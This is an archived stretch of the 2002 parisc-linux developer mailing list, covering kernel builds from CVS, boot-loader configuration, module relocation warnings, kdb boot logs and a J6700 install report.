Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15010

> 
> that ugly macro expands into inb/inw/inl.  that printk probably needs to
> go away -- i don't think it's helpful.  maybe it should stay for adapter
> != 0, but so many drivers probe ISA space for their devices that we're
> going to keep getting them.
> 
> i bet the loop isn't infinite... probably driver probing.  If you turn
> off CONFIG_PCI, the driver shouldn't be compiled in.
>

Ah, excellent. I think I understand how that works.
Sadly, I'm not so sure that's the case, since it prints:
---
PCI or EISA Bus Adapter 0 is not registered. in8(0x64) returning -1;
" in8(0x60) returning -1;
---
This message is not an exact copy since my notes are at home.

This printk alternates, dare I say, forever? (I'll leave it running for
a few hours and see what happens). 

I'll try and figure out what, if any, driver is broken.
Most importantly I'll disable PCI/EISA support for now and see how
far the system boots.

Thanks W!

c.




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building my first kernel
Date: Thu,  6 Jun 2002 09:58:46 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <200206060958.AA114426440@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621369 8436 80.91.229.3 (22 Nov 2014 01:56:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:09 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <marc@centraltx.com>,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 09:00:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D0B0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 09:00:37 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15011

ok, so set CVSROOT=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs 
and then do a:

  cd /usr/src
  cvs checkout linux
  cvs checkout palo


am i right?

-Marc

---------- Original Message ----------------------------------
From: Helge Deller <deller@gmx.de>
Date:  Thu, 6 Jun 2002 09:19:20 +0200

>Hi Marc,
>
>Go to
>http://cvs.parisc-linux.org/
>and check out the linux and palo directories with an anonymous account.
>Then build your linux kernel from the linux directory.
>
>Greetings,
>Helge
>
>On Thursday 06 June 2002 06:39, marc  wrote:
>> i did:
>>
>>    apt-get install kernel-source-2.4.18-hppa
>>
>> ---------- Original Message ----------------------------------
>> From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
>> Date:  Wed, 5 Jun 2002 23:46:37 -0400
>>
>> >> Call me crazy, but I cannot get this to work. There doesn't seem
>> >> to be a 'palo' target for make. When I run make palo it just
>> >> runs the make all (below are the first few lines).
>> >>
>> >> Any Ideas?
>> >
>> >How did you get the source tree for linux and palo?
>> >
>> >c.
>
>



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing a Second Network Card
Date: Thu,  6 Jun 2002 10:15:10 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <200206061015.AA1918763488@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621369 8440 80.91.229.3 (22 Nov 2014 01:56:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:09 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 09:17:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B47E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 09:17:00 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15012

I may have answered my own questions, do I need to add a line 
to palo.conf analogous to this line for lilo?

Enable multiple ethernet devices on your machine by adding this line to your /etc/lilo.conf, and re-run lilo: append = "ether=0,0,eth1"

---------- Original Message ----------------------------------
From: "marc " <marc@centraltx.com>
Reply-To: <marc@centraltx.com>
Date:  Wed,  5 Jun 2002 20:17:01 -0500

>I have another network out of a C180, and I stuck it into mine, but
>I cannot figure out how to get it to show up in Linux.
>
>Thanks,
>-Marc
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange message with insmod
Date: Thu, 6 Jun 2002 16:09:35 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020606150935.GP25306@sleepie.demon.co.uk>
References: <3CFF72D7.30FA7556@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621369 8449 80.91.229.3 (22 Nov 2014 01:56:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:09 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 09:33:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72734482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 09:33:25 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id F1ECA9ECF7; Thu,  6 Jun 2002 16:09:35 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <3CFF72D7.30FA7556@admin.france.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15013

On Thu, Jun 06, 2002 at 04:33:59PM +0200, Bruno Vidal wrote:
> 	Hi
> I've compiled a new kernel (without LVM), everything seems okay.
> My dump driver compiled right...but when I use insmod:
> hpfrcw12:~# insmod dump
> Using /lib/modules/2.4.18-pa35/kernel/drivers/dump/dump.o
> r_info 0x29 not handled
> ...
> So it is not coming from my modules. The modules are loaded,
> everything seems okay, but what means this messages ?

Some relocation type used in your .o files that modutils doesn't know
how to handle.  Generally modutils only handles the relocation types
that I have seen in modules to date.  New types might crop up as a
result of tool chain changes, or different compiler options, or possibly
kernel code changes might cause the toolchain to generate some other
relocation.

Are you using the standard woody toolchain for hppa?  Can you send me
off list your scsi/st.o, incase I can't reproduce here?

Everything might seem ok, but it could be some code paths or data
accesses wont be handled properly.

Thanks,
  Richard




From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Thu, 06 Jun 2002 17:41:11 +0200 (CEST)
Lines: 96
Approved: news@gmane.org
Message-ID: <1023378071.3cff8297db5f6@webmail.tiscalinet.be>
References: <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org> <1023292640.3cfe34e07e65b@webmail.tiscalinet.be> <20020605145928.I29135@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621370 8452 80.91.229.3 (22 Nov 2014 01:56:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:10 +0000 (UTC)
Cc: joel.soete@freebel.net, Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 09:46:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8A7B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 09:46:19 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FzNv-0005ma-00; Thu, 06 Jun 2002 17:41:11 +0200
In-Reply-To: <20020605145928.I29135@systemhalted>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15014

Hi Carlos,

Quoting "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>:

> > 
> > Well I come back to you to see what should be the useable kdb config
> (to
> > investigate the network problem with kernel compiled with gcc-3.1 or
> -3.2).
> > 
> > Mine is now:
> > CONFIG_MAGIC_SYSRQ=Y
> > CONFIG_KDB=Y
> > CONFIG_KDB_MODULES=Y
> > # CONFIG_KDB_OFF IS NOT SET
> > CONFIG_KALLSYMS=Y
> > 
> > Thanks a lot,
> >     Joel
> >
> 
> Does you system boot with kdb enabled?

Now I had a kdb kernel (cvs branch KDB_21) compile with gcc-3.2 and also #define
EARLY_BOOTUP_DEBUG 1. But this kernel hang on:
...
Search for devices...

And the green diode on the ide-cdrom of my b2000 stay on continuously.


Joel.

Here is the full output:
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/vmlinux-kdb-gcc32'
Selected kernel: /vmlinux-kdb-gcc32 from partition 3
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1989640 mediaptr 0x1000
Segment 1 load 002e6000 size 767080 mediaptr 0x1e7000
Segment 2 load 003a4000 size 396036 mediaptr 0x2a3000
Segment 3 load 00408000 size 8192 mediaptr 0x304000
Segment 4 load 00410000 size 32768 mediaptr 0x306000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.18-pa26 (root@palx2000) (gcc version 3.2 20020530
(experimental)) #1 Thu Jun 6 16:50:34 CEST 2002
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
unwind_init: start = 0x10387405, end = 0x103a1468, entries = 6662

Stack: 10408600 Cannot find unwind entry for 0x1010c9c0

Call Trace: 
        [<1010c880>]
Cannot find unwind entry for 0x1010c9c0

Code: 0e a0 10 93 4b d6 3f 91 0a 78 0a 13 6b 53 00 20 0a b6 04 14 
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d00 00000481 00000000 00000002 77e93910 100000f0 00000008 000000b2
000000b2
vers  00000301
CPUID vers 17 rev 11 (0x0000022b)
capabilities 0x3
model 9000/785/B2000
Total Memory: 256 Mb
pagetable_init
On node 0 totalpages: 65536
zone(0): 65536 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LCD display at f05d0008,f05d0000 registered
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/vmlinux-kdb-gcc32
Console: colour dummy device 160x64
Initialized PDC Console for debugging.
Calibrating delay loop... 799.53 BogoMIPS
Memory: 254520k available
kdb version 2.1 by Scott Lurndal, Keith Owens. Copyright SGI, All Rights Reserved
Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
Searching for devices...



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Thu, 6 Jun 2002 12:19:39 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200206061619.g56GJdiE004367@hiauly1.hia.nrc.ca>
References: <20020606092115.C6900@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621370 8454 80.91.229.3 (22 Nov 2014 01:56:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:10 +0000 (UTC)
Cc: tausq@debian.org, patrick@tykepenguin.com,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 10:19:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24193482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 10:19:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g56GJdFN004368;
	Thu, 6 Jun 2002 12:19:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g56GJdiE004367;
	Thu, 6 Jun 2002 12:19:39 -0400 (EDT)
In-Reply-To: <20020606092115.C6900@systemhalted> from "Carlos O'Donell Jr." at Jun 6, 2002 09:21:15 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15015

> -       table->end = base_addr + end[-1].region_end;
> +       table->end = base_addr + end[0].region_end - sizeof(struct unwind_table_entry);
>         table->table = (struct unwind_table_entry *)table_start;
>         table->length = end - start;
>         table->next = NULL;
> 
> Is this a gcc-ism we're seeing?
> Note-to-self: Look at .S produced from compiling unwind.c

It's definitely dangerous to use array indexes outside the bounds
of the array, particularly on the PA.  There can be problems with
space register selection, although I wouldn't expect this to be a in
the linux kernel.  You can avoid index insns with "-mdisable-indexing".
Let me know if you see anything strange in the assembler output.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange message with insmod
Date: Thu, 06 Jun 2002 18:36:02 +0200 (CEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <1023381362.3cff8f72ec461@webmail.tiscalinet.be>
References: <3CFF72D7.30FA7556@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621370 8458 80.91.229.3 (22 Nov 2014 01:56:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:10 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 11:02:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36599482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 11:02:37 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17G0F1-0008LC-00; Thu, 06 Jun 2002 18:36:03 +0200
In-Reply-To: <3CFF72D7.30FA7556@admin.france.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15016

Quoting Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>:

> 	Hi
> I've compiled a new kernel (without LVM), everything seems okay.
> My dump driver compiled right...but when I use insmod:


Great news.

Congratulation,
Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel option definitions
Date: Thu,  6 Jun 2002 12:16:26 -0500
Lines: 4
Approved: news@gmane.org
Message-ID: <200206061216.AA2625503706@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621371 8460 80.91.229.3 (22 Nov 2014 01:56:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:11 +0000 (UTC)
Cc: @mail.centraltx.com
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 11:18:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5329482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 11:18:15 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15017

Where is the best place to find a detailed explanation of
all the kernel options?



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Zahorik <matt@hottub.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J6700/ISO 20020526 install results
Date: Thu, 6 Jun 2002 10:38:37 -0700 (PDT)
Lines: 80
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.40.0206060916010.10618-100000@hottub>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621371 8462 80.91.229.3 (22 Nov 2014 01:56:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 11:41:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hottub.hottub.org (hottub.org [66.60.164.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7D0B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 11:41:01 -0600 (MDT)
Original-Received: by hottub.hottub.org (Postfix, from userid 1100)
	id 3E2A7213C8; Thu,  6 Jun 2002 10:38:37 -0700 (PDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by hottub.hottub.org (Postfix) with ESMTP id 36565213C4
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 10:38:37 -0700 (PDT)
X-X-Sender: matt@hottub
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15018

Hello all!

  Thanks to Grant for pointing me to the testing ISOs

  The end result of a fresh install using these ISOs was that my J6700 is
working fine under a 64-bit kernel.

  I used the mini 70MB image.

  I will be re-installing soon as I'm fooling with software RAID mirrored
boot disks and the partitions are not laid out properly.  If the CD
maintainer wishes to try another ISO addressing my notes below I'll be
glad to give it another go.

  Thanks!

- Matt

ps.  This is my first go at PA-RISC/Linux, although I'm very familiar with
both Linux on other platforms and HP hardware.  Please forgive any
foot-in-mouth that may result.

  Notes:

-- Base install --

  It defaults to the 32-bit kernel.  I have 16GB in this machine and
wanted more than 2G swap, therefore I IPL'd palo to boot 0/vmlinux64.
Minor.  Is memory size known at this point?  If so, >4GB machines may want
to default to 64-bit.

